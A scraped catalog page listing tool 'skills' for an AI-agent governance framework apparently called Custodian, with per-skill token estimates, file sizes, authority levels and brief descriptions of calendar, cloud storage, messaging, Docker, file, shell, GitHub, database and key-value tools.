87 tokensAlways available to the agent
SKILL.md
324 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,438 bytesSKILL.mdcore1,438 bytesscripts/execute.pyruns3,362 bytes
Read SKILL.md
# Calendar Event List
List upcoming Google Calendar events for a given timerange
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubcalendar-list
When your agent uses it
List upcoming events from Google Calendar
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
96 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore349 bytesscripts/execute.pyruns1,320 bytes
Read SKILL.md
# Calendar List
List upcoming events from Google CalendarView the complete source on GitHubcalendar-update
When your agent uses it
Update an existing calendar event (title, time, attendees)
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
106 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore387 bytesscripts/execute.pyruns1,384 bytes
Read SKILL.md
# Calendar Update
Update an existing calendar event (title, time, attendees)View the complete source on GitHubs3-delete
When your agent uses it
Delete an object from an S3 bucket
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
102 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore319 bytesscripts/execute.pyruns932 bytes
s3-get
When your agent uses it
Download an object from S3 and return its content or presigned URL
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
114 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore377 bytesscripts/execute.pyruns1,964 bytes
Read SKILL.md
# S3 Get
Download an object from S3 and return its content or presigned URLView the complete source on GitHubs3-list
When your agent uses it
List objects in an S3 bucket (or GCS/R2 with S3-compat API)
What it loads into context
Frontmatter
96 tokensAlways available to the agent
SKILL.md
124 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore365 bytesscripts/execute.pyruns1,147 bytes
Read SKILL.md
# S3 List
List objects in an S3 bucket (or GCS/R2 with S3-compat API)View the complete source on GitHubs3-put
When your agent uses it
Upload an object to an S3 bucket
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
102 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore309 bytesscripts/execute.pyruns1,152 bytes
discord-webhook
When your agent uses it
Post a message to a Discord channel via webhook URL
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
327 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,435 bytesSKILL.mdcore1,435 bytesscripts/execute.pyruns909 bytes
Read SKILL.md
# Discord Webhook
Post a message to a Discord channel via webhook URL
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubemail-send
When your agent uses it
Send email via SMTP or SendGrid with subject and body
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
325 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,417 bytesSKILL.mdcore1,417 bytesscripts/execute.pyruns1,236 bytes
Read SKILL.md
# Email Send
Send email via SMTP or SendGrid with subject and body
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubpush-notification
When your agent uses it
Send a push notification via ntfy.sh or Pushover
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
330 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,434 bytesSKILL.mdcore1,434 bytesSKILL.mdcore1,434 bytesSKILL.mdcore1,434 bytesscripts/execute.pyruns1,052 bytes
Read SKILL.md
# Push Notification
Send a push notification via ntfy.sh or Pushover
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubslack-channel-list
When your agent uses it
List public Slack channels in a workspace
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
318 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,404 bytesSKILL.mdcore1,404 bytesscripts/execute.pyruns929 bytes
Read SKILL.md
# Slack Channel List
List public Slack channels in a workspace
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubslack-message
When your agent uses it
Post a message to a Slack channel via incoming webhook
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
323 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,431 bytesSKILL.mdcore1,431 bytesscripts/execute.pyruns1,057 bytes
Read SKILL.md
# Slack Message
Post a message to a Slack channel via incoming webhook
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubsms-send
When your agent uses it
Send SMS via Twilio to any phone number
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
324 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,388 bytesSKILL.mdcore1,388 bytesscripts/execute.pyruns997 bytes
Read SKILL.md
# Sms Send
Send SMS via Twilio to any phone number
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubwebhook-post
When your agent uses it
Send an HTTP POST to any configured webhook endpoint
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
307 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,343 bytesSKILL.mdcore1,343 bytesscripts/execute.pyruns2,253 bytes
Read SKILL.md
# Webhook Post
Send an HTTP POST to any configured webhook endpoint
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubcustodian-anchor
When your agent uses it
Request a re-anchoring block: your goal, standing constraints, budget, and the actions you already completed this session. Call this whenever you feel uncertain about what you were doing, suspect you lost context, or before any consequential action.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
173 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore761 bytes
Read SKILL.md
# custodian-anchor
Returns the session anchor — authoritative state maintained outside your
context window. Actions listed as completed HAVE happened even if you do
not remember them; do not repeat them.
Requires the Hermes bridge with the `hermes-introspection` adapter enabled.View the complete source on GitHubcustodian-status
When your agent uses it
Report your own governed session state: authority band, budget spent/remaining, action count, denial count. Value-free and instant — answered by the governance layer, no subprocess, no credentials. Use when unsure what you are allowed to do or how much budget remains.
What it loads into context
Frontmatter
119 tokensAlways available to the agent
SKILL.md
184 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore795 bytes
Read SKILL.md
# custodian-status
Returns your current session's enforced state. The numbers come from the
kernel, not from your memory — when they disagree with what you remember,
the kernel is right.
Requires the Hermes bridge with the `hermes-introspection` adapter enabled;
without it this skill does not exist.View the complete source on GitHubpaladin-vault-list
When your agent uses it
List the credential references available in the Paladin vault (names, profiles, env var targets — never values). Use the returned paladin:// refs verbatim in tool arguments; Paladin injects the real value into the tool's process at egress. You cannot read, print, or export the values themselves.
What it loads into context
Frontmatter
133 tokensAlways available to the agent
SKILL.md
197 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore799 bytes
Read SKILL.md
# paladin-vault-list
Value-free inventory of the Paladin vault. Every access is written to the
tamper-evident audit chain.
Requires the Hermes bridge with the `hermes-introspection` adapter enabled
and a Paladin broker wired; without them this skill does not exist.View the complete source on GitHubmongodb-find
When your agent uses it
Query documents from a MongoDB collection
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
100 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore340 bytesscripts/execute.pyruns2,279 bytes
Read SKILL.md
# Mongodb Find
Query documents from a MongoDB collectionView the complete source on GitHubmysql-query
When your agent uses it
Run a read-only SQL query against a MySQL/MariaDB database
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
112 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore370 bytesscripts/execute.pyruns1,787 bytes
Read SKILL.md
# Mysql Query
Run a read-only SQL query against a MySQL/MariaDB databaseView the complete source on GitHubpostgres-query
When your agent uses it
Run a read-only SQL query against a PostgreSQL database
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
107 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore370 bytesscripts/execute.pyruns1,824 bytes
Read SKILL.md
# Postgres Query
Run a read-only SQL query against a PostgreSQL databaseView the complete source on GitHubredis-delete
When your agent uses it
Delete one or more keys from a Redis instance
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
102 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore348 bytesscripts/execute.pyruns1,179 bytes
Read SKILL.md
# Redis Delete
Delete one or more keys from a Redis instanceView the complete source on GitHubredis-get
When your agent uses it
Read a key (or hash field) from a Redis instance
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
108 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore348 bytesscripts/execute.pyruns1,194 bytes
Read SKILL.md
# Redis Get
Read a key (or hash field) from a Redis instanceView the complete source on GitHubredis-set
When your agent uses it
Write a key-value pair to Redis with optional TTL
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
104 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore350 bytesscripts/execute.pyruns1,261 bytes
Read SKILL.md
# Redis Set
Write a key-value pair to Redis with optional TTLView the complete source on GitHubdesign-impeccable
When your agent uses it
Anti-pattern detector and design rules for AI coding agents. Catches the specific mistakes AI makes when generating UI: gray text on color, nested cards, broken buttons, missing states. Use before shipping any frontend.
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
1,546 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The 23 commands (overview)
- 44 deterministic detector rules
- Anti-patterns (don't do these)
- Usage pattern
- Installation (for reference)
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore6,108 bytesscripts/execute.pyruns1,080 bytes
Read SKILL.md
# Impeccable
Design rules for AI coding agents. Catches the specific tells that mark output as AI-generated.
## The 23 commands (overview)
| Command | What it does |
|---------|--------------|
| `craft` | Full shape-then-build flow with visual iteration |
| `init` | One-time setup: gather design context, write PRODUCT.md and DESIGN.md |
| `document` | Generate root DESIGN.md from existing project code |
| `extract` | Pull reusable components and tokens into the design system |
| `shape` | Plan UX/UI before writing code |
| `critique` | UX design review: hierarchy, clarity, emotional resonance |View the complete source on GitHubdesign-taste
When your agent uses it
Stops AI from generating boring, generic UI. Use when building new interfaces, reviewing generated UI, or fixing the flat / generic look that AI tools default to. Anti-slop design principles for premium frontends.
What it loads into context
Frontmatter
100 tokensAlways available to the agent
SKILL.md
1,716 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- How to use
- Design Audit
- When to deviate
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore7,563 bytesscripts/execute.pyruns1,087 bytes
Read SKILL.md
# Taste Skill
The anti-slop frontend framework. Applies design taste to AI-generated UI so output looks intentional, not default.
## How to use
When generating or reviewing UI:
1. Run through the audit below
2. Apply targeted upgrades — don't rewrite from scratch
3. Improve what exists, work with whatever stack is in use
## Design Audit
### TypographyView the complete source on GitHubdocker-exec
When your agent uses it
Run a command inside a running Docker container
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
306 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,330 bytesSKILL.mdcore1,330 bytesscripts/execute.pyruns813 bytes
Read SKILL.md
# Docker Exec
Run a command inside a running Docker container
## Authority band
This tool runs under **L2** authority in the Custodian kernel. Autonomous up to the per-action and session caps; escalates above threshold.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubdocker-list
When your agent uses it
List running Docker containers with status and port info
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
302 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,327 bytesSKILL.mdcore1,327 bytesscripts/execute.pyruns871 bytes
Read SKILL.md
# Docker List
List running Docker containers with status and port info
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubdocker-logs
When your agent uses it
Tail the last N lines of a Docker container's stdout log
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
310 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,327 bytesSKILL.mdcore1,327 bytesscripts/execute.pyruns708 bytes
Read SKILL.md
# Docker Logs
Tail the last N lines of a Docker container's stdout log
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubdocker-start
When your agent uses it
Start a stopped Docker container by name or ID
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
306 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,331 bytesSKILL.mdcore1,331 bytesscripts/execute.pyruns507 bytes
Read SKILL.md
# Docker Start
Start a stopped Docker container by name or ID
## Authority band
This tool runs under **L2** authority in the Custodian kernel. Autonomous up to the per-action and session caps; escalates above threshold.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubdocker-stop
When your agent uses it
Stop a running Docker container gracefully
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
300 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,320 bytesSKILL.mdcore1,320 bytesscripts/execute.pyruns504 bytes
Read SKILL.md
# Docker Stop
Stop a running Docker container gracefully
## Authority band
This tool runs under **L2** authority in the Custodian kernel. Autonomous up to the per-action and session caps; escalates above threshold.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubfile-list
When your agent uses it
List files in an allowed directory path
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
298 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,277 bytesSKILL.mdcore1,277 bytesscripts/execute.pyruns1,324 bytes
Read SKILL.md
# File List
List files in an allowed directory path
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubfile-read
When your agent uses it
Read a file from an allowed path on the local filesystem
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
306 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,311 bytesSKILL.mdcore1,311 bytesscripts/execute.pyruns895 bytes
Read SKILL.md
# File Read
Read a file from an allowed path on the local filesystem
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubfile-write
When your agent uses it
Write content to a file at an allowed path
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
305 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,307 bytesSKILL.mdcore1,307 bytesscripts/execute.pyruns919 bytes
Read SKILL.md
# File Write
Write content to a file at an allowed path
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubshell-exec
When your agent uses it
Run a sandboxed shell command with timeout and allowlist
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
312 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,335 bytesSKILL.mdcore1,335 bytesscripts/execute.pyruns3,572 bytes
Read SKILL.md
# Shell Exec
Run a sandboxed shell command with timeout and allowlist
## Authority band
This tool runs under **L2** authority in the Custodian kernel. Autonomous up to the per-action and session caps; escalates above threshold.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubgithub-comment
When your agent uses it
Add a comment to a GitHub issue or pull request
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
326 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,415 bytesSKILL.mdcore1,415 bytesscripts/execute.pyruns1,330 bytes
Read SKILL.md
# Github Comment
Add a comment to a GitHub issue or pull request
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubgithub-commit-list
When your agent uses it
List recent commits on a branch, with author and message
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
111 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore378 bytesscripts/execute.pyruns1,121 bytes
Read SKILL.md
# Github Commit List
List recent commits on a branch, with author and messageView the complete source on GitHubgithub-file-read
When your agent uses it
Read the content of a file from a GitHub repository
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
110 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore364 bytesscripts/execute.pyruns1,042 bytes
Read SKILL.md
# Github File Read
Read the content of a file from a GitHub repositoryView the complete source on GitHubgithub-issue-create
When your agent uses it
Create a GitHub issue in a specified repository
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
329 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,435 bytesSKILL.mdcore1,435 bytesscripts/execute.pyruns1,543 bytes
Read SKILL.md
# Github Issue Create
Create a GitHub issue in a specified repository
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubgithub-issue-list
When your agent uses it
List open issues in a GitHub repository with filters
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
328 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,416 bytesSKILL.mdcore1,416 bytesscripts/execute.pyruns1,652 bytes
Read SKILL.md
# Github Issue List
List open issues in a GitHub repository with filters
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubgithub-pr-list
When your agent uses it
List open pull requests in a GitHub repository
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
324 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,398 bytesSKILL.mdcore1,398 bytesscripts/execute.pyruns1,518 bytes
Read SKILL.md
# Github Pr List
List open pull requests in a GitHub repository
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubgithub-release-create
When your agent uses it
Create a GitHub release from a tag with release notes
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
110 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore378 bytesscripts/execute.pyruns1,203 bytes
Read SKILL.md
# Github Release Create
Create a GitHub release from a tag with release notesView the complete source on GitHubgithub-release-list
When your agent uses it
List GitHub releases (tags, assets, published dates)
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
110 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore372 bytesscripts/execute.pyruns1,051 bytes
Read SKILL.md
# Github Release List
List GitHub releases (tags, assets, published dates)View the complete source on GitHubgithub-repo-list
When your agent uses it
List repositories for a GitHub user or organization
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
327 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,409 bytesSKILL.mdcore1,409 bytesscripts/execute.pyruns1,619 bytes
Read SKILL.md
# Github Repo List
List repositories for a GitHub user or organization
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubkv-delete
When your agent uses it
Delete a key from the Custodian KV store
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
305 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,303 bytesSKILL.mdcore1,303 bytesscripts/execute.pyruns794 bytes
Read SKILL.md
# Kv Delete
Delete a key from the Custodian KV store
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubkv-get
When your agent uses it
Retrieve a value by key from the Custodian KV store
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
306 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,295 bytesSKILL.mdcore1,295 bytesscripts/execute.pyruns913 bytes
Read SKILL.md
# Kv Get
Retrieve a value by key from the Custodian KV store
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubkv-list
When your agent uses it
List all keys in the Custodian KV store with optional prefix
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
308 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,316 bytesSKILL.mdcore1,316 bytesscripts/execute.pyruns899 bytes
Read SKILL.md
# Kv List
List all keys in the Custodian KV store with optional prefix
## Authority band
